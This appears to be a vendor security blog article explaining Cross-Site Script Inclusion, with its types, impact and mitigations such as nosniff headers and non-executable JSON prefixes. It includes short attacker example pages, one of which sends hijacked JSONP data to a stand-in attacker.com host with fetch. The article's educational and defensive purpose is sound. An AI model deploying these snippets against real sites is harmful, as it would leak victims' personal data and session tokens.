What is Cross-Site Script Inclusion (XSSI)? Ways to Exploit, Examples and Impact

Cross-Site Script Inclusion (XSSI) is a client-side vulnerability that allows an attacker to steal sensitive data from a web application by including a resource-typically a JavaScript file-from a different origin. While many developers are familiar with Cross-Site Scripting (XSS), XSSI is a distinct and often overlooked threat that exploits the fundamental way browsers handle the Same-Origin Policy (SOP). By tricking a victim's browser into executing a script from a trusted site within an attacker-controlled environment, sensitive information like PII, CSRF tokens, and session metadata can be leaked to unauthorized parties.

Understanding Cross-Site Script Inclusion (XSSI)

To understand XSSI, we must first look at the Same-Origin Policy (SOP). The SOP is a security mechanism that prevents a script loaded from one origin from reading or interacting with data from another origin. For example, a script on attacker.com should not be able to read the contents of a page on bank.com via an AJAX request.

However, there are historical exceptions to the SOP. One of the most significant exceptions is the <script> tag. Browsers allow a web page to include scripts from any domain. This is why you can easily include libraries like jQuery or Bootstrap from a Content Delivery Network (CDN). When a browser encounters a <script src="..."> tag, it makes a GET request to that URL. If the user is currently logged into the site being requested, the browser automatically includes the user's cookies in that request. This behavior is known as "ambient authority."

Jsmon helps security teams identify these types of external exposures by mapping out every endpoint and script resource across your infrastructure, ensuring that sensitive data isn't being inadvertently exposed through vulnerable inclusions.

How XSSI Exploits the Same-Origin Policy (SOP)

XSSI occurs when a web application generates dynamic JavaScript that contains sensitive user information. Because the browser does not restrict the inclusion of scripts across origins, an attacker can create a malicious website that includes the victim's dynamic script file using a standard HTML tag.

When the victim visits the attacker's site, the browser sends a request to the vulnerable application. Because the browser includes the victim's session cookies, the server responds with a personalized script containing the victim's data. Since the script is now running in the context of the attacker's page, the attacker can use their own JavaScript to extract the variables or data structures contained within that script.

XSSI vs. XSS: What is the Difference?

It is common to confuse XSSI with Cross-Site Scripting (XSS), but they are fundamentally different attack vectors:

1. Cross-Site Scripting (XSS): The attacker injects malicious code into a vulnerable website. The goal is to execute that code in the browsers of other users who visit the site. The vulnerability lies in the website's failure to sanitize user input.
2. Cross-Site Script Inclusion (XSSI): The attacker includes a sensitive file from a vulnerable website into their own malicious page. The vulnerability lies in the website's practice of placing sensitive data in a format (like JavaScript) that can be executed cross-origin.

In XSS, the victim's site is the host of the malicious code. In XSSI, the attacker's site is the host, and it "imports" the victim's data as if it were a script.

Common Types of XSSI Vulnerabilities

XSSI manifests in several different ways depending on how the data is served and how the attacker can manipulate the JavaScript environment.

1. Dynamic JavaScript Inclusion

This is the most straightforward form of XSSI. It happens when a server generates a .js file dynamically based on the logged-in user.

Example:
Imagine a file at https://example.com/api/user_info.js that returns:

var userEmail = "victim@email.com";
var accountBalance = 5000;

An attacker can simply host a page with the following code:

<script src="https://example.com/api/user_info.js"></script>
<script>
    console.log("Stolen Email: " + userEmail);
    console.log("Stolen Balance: " + accountBalance);
</script>

2. JSONP (JSON with Padding) Hijacking

JSONP was designed to bypass SOP restrictions before Cross-Origin Resource Sharing (CORS) was standardized. It works by wrapping JSON data in a function call.

Example:
https://example.com/api/data?callback=processData returns:

processData({"name": "John Doe", "id": 12345});

An attacker can define their own processData function on their malicious site before including the script:

<script>
function processData(data) {
    fetch('https://attacker.com/collect?info=' + JSON.stringify(data));
}
</script>
<script src="https://example.com/api/data?callback=processData"></script>

3. Non-Script File Inclusion

Sometimes, attackers can include files that aren't even JavaScript, such as CSV or CSS files, as if they were scripts. If the content of these files can be parsed as valid (or partially valid) JavaScript, the attacker might be able to leak data. This is particularly effective in older browsers or when the server does not set strict MIME types.

Advanced Exploitation: Overriding Global Functions and Prototypes

Modern web applications often use more complex data structures than simple global variables. However, JavaScript's flexible nature allows attackers to use "prototype pollution" or global function overriding to capture data.

If a dynamic script calls a global function that doesn't exist or is intended for the application's own use, the attacker can define that function themselves.

Example:
Suppose the victim's script looks like this:

(function() {
    var data = {"secret": "super-secret-token"};
    renderDashboard(data);
})();

Even though data is inside an anonymous function, it calls renderDashboard. The attacker can intercept this:

<script>
function renderDashboard(data) {
    alert("Captured: " + data.secret);
}
</script>
<script src="https://victim.com/dashboard_init.js"></script>

By monitoring your infrastructure with Jsmon, you can identify where these dynamic scripts are being generated and ensure they aren't exposing internal logic or tokens to the global scope.

The Impact of XSSI on Web Security

The primary impact of XSSI is the unauthorized disclosure of information. While it may not directly allow an attacker to modify data (like CSRF) or execute arbitrary code on the server, it is a powerful reconnaissance tool.

• Identity Theft: Leaking PII such as full names, home addresses, and emails.
• Financial Loss: Accessing account balances or transaction histories.
• Bypassing Other Protections: Many sites store CSRF tokens in JavaScript variables. If an attacker can steal the CSRF token via XSSI, they can then perform state-changing actions on behalf of the user.
• Session Hijacking: If session identifiers or secondary authentication tokens are leaked, the attacker may gain full access to the user's account.

How to Prevent Cross-Site Script Inclusion (XSSI)

Preventing XSSI requires a combination of proper header configuration and secure coding practices. Here are the most effective ways to mitigate the risk:

1. Implement the X-Content-Type-Options: nosniff Header

This is one of the most important defenses. The X-Content-Type-Options: nosniff header instructs the browser to strictly follow the Content-Type header sent by the server. If you serve sensitive data as application/json, the browser will refuse to execute it as a script, effectively blocking XSSI.

2. Avoid Using Cookies for Sensitive Data Endpoints

Instead of relying on ambient authority (cookies), use custom HTTP headers like Authorization: Bearer <token> for API requests. Since the <script> tag cannot add custom headers to its request, the server will reject the cross-origin request from the attacker's site because it lacks the necessary token.

3. Use Modern Alternatives to JSONP

JSONP is inherently insecure because it executes data as code. Modern applications should use Cross-Origin Resource Sharing (CORS). CORS allows servers to specify exactly which origins are permitted to access the data via AJAX, which is governed by the SOP and is much safer than script inclusion.

4. Use JavaScript Non-Executable Prefixes

Many Google services and other large-scale applications prevent XSSI by prefixing their JSON responses with a non-executable string, such as )]}'\n.

Example Response:

)]}'
{"user": "admin", "role": "superuser"}

When included via a <script> tag, this results in a syntax error, preventing the data from being parsed or accessed. When accessed via a legitimate AJAX request, the application simply strips the prefix before parsing the JSON.

Conclusion

Cross-Site Script Inclusion (XSSI) remains a subtle but dangerous vulnerability in the modern web landscape. By exploiting the browser's willingness to execute scripts across origins, attackers can bypass traditional SOP protections and harvest sensitive user data. As developers and security professionals, it is critical to move away from legacy patterns like JSONP, enforce strict MIME types with nosniff, and ensure that sensitive data is never served in a format that can be executed as a script.

To proactively monitor your organization's external attack surface and catch exposures like XSSI before attackers do, try Jsmon.